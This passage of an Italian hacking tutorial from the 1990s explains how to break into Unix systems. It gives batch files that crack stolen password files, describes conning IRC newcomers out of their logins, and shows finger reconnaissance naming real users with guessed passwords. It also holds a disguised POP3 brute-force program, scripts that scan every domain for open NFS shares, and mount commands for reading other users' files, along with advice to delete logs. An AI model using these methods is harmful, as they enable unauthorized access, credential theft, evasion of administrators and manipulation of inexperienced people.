echo - dicthash will first load jack running the dict file against your
echo - password file in both cases, then it will add numbers 0-9 both to
echo - the begining and end of every dict word. This will take a while,
echo - so go out for that week vacation!
echo -
echo - If you get tired you can 'ctrl c' to the next option or number.
echo -
echo - ii@dormroom.pyro.net
echo -
echo - Mail me some of your hits, let me know how this works for you ;)
jpp -lower %1 | jack -stdin %2
jpp %1 | jack -stdin %2
jpp -dot:0 %1 | jpp -translate:.1 | jack -stdin %2
jpp -dot:7 %1 | jpp -translate:.1 | jack -stdin %2
jpp -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %2
jpp -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %2
jpp -dot:0 %1 | jpp -translate:.2 | jack -stdin %2
jpp -dot:7 %1 | jpp -translate:.2 | jack -stdin %2
jpp -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %2
jpp -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %2
jpp -dot:0 %1 | jpp -translate:.3 | jack -stdin %2
jpp -dot:7 %1 | jpp -translate:.3 | jack -stdin %2
jpp -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %2
jpp -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %2
jpp -dot:0 %1 | jpp -translate:.4 | jack -stdin %2
jpp -dot:7 %1 | jpp -translate:.4 | jack -stdin %2
jpp -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %2
jpp -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %2
jpp -dot:0 %1 | jpp -translate:.5 | jack -stdin %2
jpp -dot:7 %1 | jpp -translate:.5 | jack -stdin %2
jpp -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %2
jpp -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %2
jpp -dot:0 %1 | jpp -translate:.6 | jack -stdin %2
jpp -dot:7 %1 | jpp -translate:.6 | jack -stdin %2
jpp -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %2
jpp -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %2
jpp -dot:0 %1 | jpp -translate:.7 | jack -stdin %2
jpp -dot:7 %1 | jpp -translate:.7 | jack -stdin %2
jpp -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %2
jpp -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %2
jpp -dot:0 %1 | jpp -translate:.8 | jack -stdin %2
jpp -dot:7 %1 | jpp -translate:.8 | jack -stdin %2
jpp -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %2
jpp -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %2
jpp -dot:0 %1 | jpp -translate:.9 | jack -stdin %2
jpp -dot:7 %1 | jpp -translate:.9 | jack -stdin %2
jpp -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %2
jpp -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %2
jpp -dot:0 %1 | jpp -translate:.0 | jack -stdin %2
jpp -dot:7 %1 | jpp -translate:.0 | jack -stdin %2
jpp -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %2
jpp -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %2
---------------- fine di dicthash.bat
---------------- inizio di jackhash.bat
@echo off
cls
echo - THIS FILE FOR DOS
echo ----------------------------------------------------------------------
echo - To work this batch file have all of the crackerjack files in the
echo - current directory with this batch file, along with your password file.
echo - Then use this batch file using the following format:
echo -
echo - jackhash.bat passwordfilename.ext
echo -
echo - Make sure to have the jpp.exe and jsort.exe files in your dir as well.
echo -
echo - jackhash will first load jack running the passwd file against
echo - itself in both upper and lower cases, then it will add numbers 0-9
echo - both to the begining and end of every dict word. This will take
echo - a while, so go out for that week vacation!
echo -
echo - If you get tired you can 'ctrl c' to the next option or number.
echo -
echo - ii@dormroom.pyro.net
echo -
echo - Mail me some of your hits, let me know how this works for you ;)
jpp -gecos:5 -lower %1 | jack -stdin %1
jpp -gecos:5 %1 | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.` | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.` | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.` | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.` | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.~ | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.~ | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.~ | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.~ | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.! | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.! | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.! | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.! | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.A | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.A | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.A | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.A | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.a | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.a | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.a | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.a | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.q | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.q | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.q | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.q | jack -stdin %1
jpp -gecos:2 -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:2 -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:2 -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:2 -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:2 -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:2 -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:2 -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:2 -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:2 -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:2 -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:2 -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:2 -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:2 -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:2 -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:2 -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:2 -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:2 -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:2 -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:2 -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:2 -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:4 -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:4 -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:4 -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:4 -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:4 -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:4 -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:4 -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:4 -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:4 -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:4 -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:4 -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:4 -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:4 -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:4 -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:4 -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:4 -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:4 -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:4 -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:4 -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:4 -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:8 -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:8 -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:8 -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:8 -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:8 -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:8 -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:8 -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:8 -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:8 -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:8 -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:8 -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:8 -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:8 -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:8 -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:8 -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:8 -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:8 -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:8 -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:8 -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:8 -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
--------------- fine di jackhash.bat
Puoi ottenere passwd files senza avere un account, vedi il Capitolo 3
------------------------
Sezione 2B.
Parlare con i novellini
------------------------
Ci sono altri modi per ottenere un account senza lavorare molto. Parcheggiati in
un canale IRC che hai creato con un titolo riferito all'hacking. Prova anche ad
inserirti in altri canali su irc come:
#hacking #unix #unixhacking #hack #hackers #hacker #virus #virii
#hackers_hideout ecc.
Ora,cio' che tu cerchi e'un novellino che cerca di imparare o di fare un Exploit
sulla shell su cui si trova.
C'e'sempre qualcuno che fa domande da novellino e non riceve risposta o viene
cacciato via dal canale. Ecco la vostra vittima ;)
/msg alla vittima in modo che gli altri non vedano che stai parlando con lui,e
inizia a fargli domande,cerca di aiutarlo ,ma non troppo;) Alla fine digli che
puoi collegarti al suo posto. Questo potrebbe essere per recuperare il file di
password o chissa' cos'altro. Promettigli il mondo e ottieni la login e la
password.
Ora hai un inizio e puoi iniziare a metter mano in modo da imparare. Se trovi
l'accesso di root al sistema, non riferirglielo, ma riferiscigli qualche altra
informazione in modo da tenerlo occupato mentre sniffi altre password nel
sistema.
Non crediate che io mi comporti davvero cosi'...
Io tendo ad aiutare chi sta imparando e dico la verita' quando affermo di aver
trattato onestamente la maggior parte delle persone che ho incontrato.
--------------------
Sezione 2C.
La strada difficile
--------------------
C'e' un altro modo per fare questo. Stai tranquillo che nella maggior parte dei
sistemi gli utenti non usano password sicure. Da una shell fai questo:
finger @domainname.com Occhio ,usero' un vero domain:
[10:35am][/home/ii]finger @starnet.net
[starnet.net]
Login Name Tty Idle Login Time Office Office Phone
chris Chris Myers p2 4:46 Jan 27 11:19
mike Mike Suter p1 4:57 Jan 22 16:14
mike Mike Suter p5 3d Jan 16 15:35
root System Administrator p3 4:59 Jan 16 10:17
wendt Catherine Wendt-Bern p0 3 Jan 21 14:49
[10:35am][/home/ii]
Potremmo provare ad entrare piu' tardi, prendi nota di queste info:
Login chris Password prova:Chris, chris, myers, Myers, chrismyers, etc...
Questo sembra andar bene, wendt:Catherine:catherine
Ecco un altro comando:
[10:35am][/home/ii]finger -l @starnet.net
[starnet.net]
Login: mike Name: Mike Suter
Directory: /usra/staff/mike Shell: /bin/csh
On since Wed Jan 22 16:14 (CST) on ttyp1, idle 5:26, from mikesbox.starnet.net
On since Thu Jan 16 15:35 (CST) on ttyp5, idle 3 days 22:00, from mikesbox
Last login Sun Jan 26 23:07 (CST) on ttyp2 from hurk
No Plan.
Login: root Name: System Administrator
Directory: /root Shell: /bin/csh
On since Thu Jan 16 10:17 (CST) on ttyp3, idle 5:28, from mikesbox.starnet.net
Last login Thu Jan 16 18:07 (CST) on ttyp6 from mikesbox.starnet.net
Mail forwarded to:
chris@admin.starnet.net
#chris@admin.starnet.net, mike@admin.starnet.net
No Plan.
Login: wendt Name: Catherine Wendt-Bernal
Directory: /usra/staff/wendt Shell: /bin/csh
On since Tue Jan 21 14:49 (CST) on ttyp0, idle 0:02, from veggedout
No Plan.
Ora hai piu' informazioni su cui lavorare ;)
So che questo puo' stancarti....
Ricorda: questo procedimento fara' il log di tutti i tuoi tentativi,cosi',se
trovi la root, cancella i log ;)
Questo e'un piccolo file .c che puoi usare per entrare.
pop3hack.c
----- cut here
#include
#include
#include
#include
#include
#include
#include
#include
#include
/* Primo, definisci la porta per POP-3 - quasi sempre 110 */
#define POP3_PORT 110
/* cosa vogliamo che sembri il nostro programma in modo che l'admin non lo
killi*/
#define MASKAS "vi"
/* ripeti il connect o no - ricorda , i logs prenderanno nota della
connessione,potresti voler settare questo a 0: in questo modo fara' dell'hack
fino a che trova 1 user/password poi esce. se settato a 1, si riconnettera'
e cerchera' altre user/passwords (finche'ce ne sono ancora)
*/
#define RECONNECT 0
----- cut here
Puoi anche scrivere uno script in perl che faccia finger @ da una domain list e
cataloghi le risposte in un file, poi, una volta fatto, provera' a loggarsi con
pop3d username-username (o altre info) e mettendo le risposte in un altro file.
Puoi fare ftp a rs.internic.net
Nella directory del dominio troverai:
com.zone.gz
edu.zone.gz
gov.zone.gz
mil.zone.gz
net.zone.gz
org.zone.gz
Scarica questi file e lancia getdomain.pl (lo scipt qui sotto) sui domini che
vuoi cercare, in questo modo:
"perl getdomain.pl com.zone com >com.all"
Questo raccogliera' tutti i domini .COM e li mettera' tutti in un file chiamato
comm.all.
La stessa cosa puo' essere fatta per i domini .EDU
perl getdomain.pl edu.zone edu >edu.all
Ecco lo script Perl
getdomain.pl
----cut here
#!/usr/bin/perl
# GetDomain By Nfin8 / Invisible Evil
# Questions /msg i-e or /msg i^e
#
# Retrieve command line arguments.
my($inputfile, $domain) = @ARGV;
usage() if (!defined($inputfile) || !defined($domain));
# Open and preprocess the input file.
open(INFILE, "<$inputfile") or die("Cannot open file $inputfile for
reading!n");
my(@lines) = ;
# Initialize main data structure.
my(%hash) = {};
my($key) = "";
foreach (@lines) {
$key = (split(/ /))[0];
chop($key);
next if ((($key =~ tr/.//) < 1) ||
(uc($domain) ne uc(((split(/./, $key))[-1]))) ||
($key =~ m/root-server/i));
$hash{$key}++;
}
# Close input file and output data structure to STDOUT.
close(INFILE);
foreach (sort(keys(%hash))) {
print "$_n";
}
sub usage {
print("nngetdomain:n");
print("Usage: getdomain [inputfile] [search]nn");
print("Where [search] is one of 'com', 'edu', 'gov', 'mil' or
'net'.nn");
exit(0);
}
0;
---- cut here - fine dello script -----
Per usare lo script qui sopra ti basta copiare tra le due linee di delimitazione
e chiamarlo getdomain.pl, ora copialo dentro a unix os e digita
chmod +x getdomain.pl
Ora e'pronto per essere lanciato con la linea di comando qui sopra.
------------------------------------------
Sezione 2D.
usare Mount per accedere a un sistema unix
------------------------------------------
Questo non e' difficile e ci sono molti sistemi che sono mountable.
Mount e'un comando unix che permette di fare mount di drive su macchine remote.
Questo e'fatto in modo da poter fare installazione da altre macchine, o solo per
condividere drive o directory all'interno la rete.
Il problema e' che molti admin sono buoni conoscitori di unix. O forse sono solo
un po' fannulloni e fanno il mount dei drive con accesso globale senza capire
che chiunque puo' montare i drive e avere accesso in scrittura alle directory
degli utenti di quel sistema.
Ti serve un hacked account di root per iniziare. Per fare mount di un drive
remoto e accedervi devi modificare il passwd phile del sistema e usare il
comando su.
Ok, diciamo che hai accesso di root. Iniziamo!
Puoi vedere se ci sono drive mountable usando il comando showmount.
Dall'account di Root:
$root> showmount -e wwa.com
mount clntudp_create: RPC: Port mapper failure - RPC: Unable to receive
Ok ,no problem, questo domain non funziona, proviamo il prossimo
$root> showmount -e seva.net
Export list for seva.net:
/var/mail pluto.seva.net
/home/user1 pluto.seva.net
/usr/local pluto.seva.net,rover.seva.net
/export/X11R6.3 rover.seva.net
/export/rover rover.seva.net,pluto.seva.net
/export/ftp/linux-archive/redhat-4.1/i386/RedHat (everyone)
Nota la parola 'chiunque'(everyone), questo andrebbe bene se volessimo
installare linux da questo sistema, ma noi vogliamo aprire le directory degli
utenti,cosi' andiamo al prossimo...
$root> showmount -e XXXXX.XXX < questo ha funzionato ... ora trovatelo ;)
Export list for XXXXX.XXX:
/export/home (everyone)
Ora, questo tipo ha montato la sua home directory, gli account degli utenti si
trovano fuori dalla home ;) e guarda...(everyone) puo' accedervi!!!
Ok questa sezione serviva a mostrarti come vedere se sono mountable, nella
prossima vedremo come fare il mount e l'hack. Per ora ecco uno script che fara'
lo scan di TUTTI I DOMINI su internet cercando quelli montable e li logghera' per te.
Per usarlo usa il 'domain dipper' nella sezione PHF e scarica i file che ti
servono da rs.internic.net Fai il rip di alcuni domini e chiama il file
'domains' e avvia lo script. Per farlo funzionare il background, metti
una & dopo il comando. cosi':
cmount.pl&
Come funziona:
Quando lanci il file esso andra' nella domain list e lancera' showmount -e su
ogni dominio, se trova dei driver mountable salvera' le info in un file
chiamato:
domain.XXX.export. Devi soltanto editare il file e montare i drive!
--------------- Inizio di cmount.pl
#!/usr/bin/perl -w
#
# Check NFS exports of hosts listed in file.
# (Hosts are listed, once per line with no additional whitespaces.)
#
# ii@dormroom.pyro.net - 2/27/97.
# Assign null list to @URLs which will be added to later.
my(@result) = ();
my(@domains) = ();
my($program) = "showmount -e ";
# Pull off filename from commandline. If it isn't defined, then assign default.
my($DomainFilename) = shift;
$DomainFilename = "domains" if !defined($DomainFilename);
# Do checking on input.
die("mountDomains: $DomainFilename is a directory.n") if (-d $DomainFilename);
# Open $DomainFilename.
open(DOMAINFILE, $DomainFilename) or
die("mountDomains: Cannot open $DomainFilename for input.n");
while () {
chomp($_);
print "Now checking: $_";
# Note difference in program output capture from "geturl.pl".
open (EXECFILE, "$program $_ |");
@execResult = ;
next if (!defined($execResult[0]));
if ($execResult[0] =~ /^Export/) {
print " - Export list saved.";
open (OUTFILE, ">$_.export");
foreach (@execResult) {
print OUTFILE;
}
close (OUTFILE);
}
close(EXECFILE);
print "n";
}
# We are done. Close all files and end the program.
close (DOMAINFILE);
0;
----------------- fine di cmount.pl
Ok,ora si inizia a montare i drive ....
Diciamo che abbiamo fatto showmount -e domain.com e abbiamo ottenuto:
Export list for domain.com:
/ (everyone)
/p1 (everyone)
/p2 (everyone)
/p3 (everyone)
/p5 (everyone)
/p6 (everyone)
/p7 (everyone)
/var/spool/mail titan,europa,galifrey
/tmp (everyone)
Vogliamo montare / ...yup ....questo tipo ha l'intero sistema montabile!!!!
$root> mkdir /tmp/mount
$root> mount -nt nfs domain.com:/ /tmp/mount
Se la Home directory e'mountable il comando sarebbe:
$root> mount -nt nfs domain.com:/home /tmp/mount
Per fare l'unmount del sistema,assicurati di essere fuori dalla directory e
digita:
$root> umount /tmp/mount
Assicurati di fare per prima cosa la directory di mount, puoi farlo ovunque nel
sistema che vuoi. Se la
directory /mnt dei sistemi e'vuota puoi usare anche quella.
Ok. Questa volta e'per davvero:
bash# ls -al /mnt ; assicurati che la directory mnt sia vuota
ls: /mnt: No such file or directory ; Non c'e'neanche la directory ;)
bash# mkdir /mnt ; lets make one for them rin
bash# mount -nt nfs xxxxxx.xxx:/export/usr /mnt ;Iniziamo a fare mount
bash# cd /mnt ; andiamo sul mounted drive...
bash# ls ; il classico comando di dir
TT_DB home raddb share
back local radius-961029.gz www
exec lost+found radius-961029.ps
bash# ;
bash# cd home
bash# ls -l ;
total 18
drwxr-xr-x 2 judy other 512 Feb 1 10:41 garry
drwxr-xr-x 69 infobahn other 5632 Mar 10 01:42 horke
drwxr-xr-x 11 301 other 2048 Mar 1 10:25 jens
drwxr-xr-x 2 300 other 512 Oct 15 07:45 joerg
drwxr-xr-x 2 604 other 512 Feb 8 13:00 mailadmin
drwxr-xr-x 2 melissa other 512 Sep 27 06:15 mk
drwxr-xr-x 6 news news 512 Mar 6 1996 news
drwxr-xr-x 2 303 other 512 Jan 24 04:17 norbert
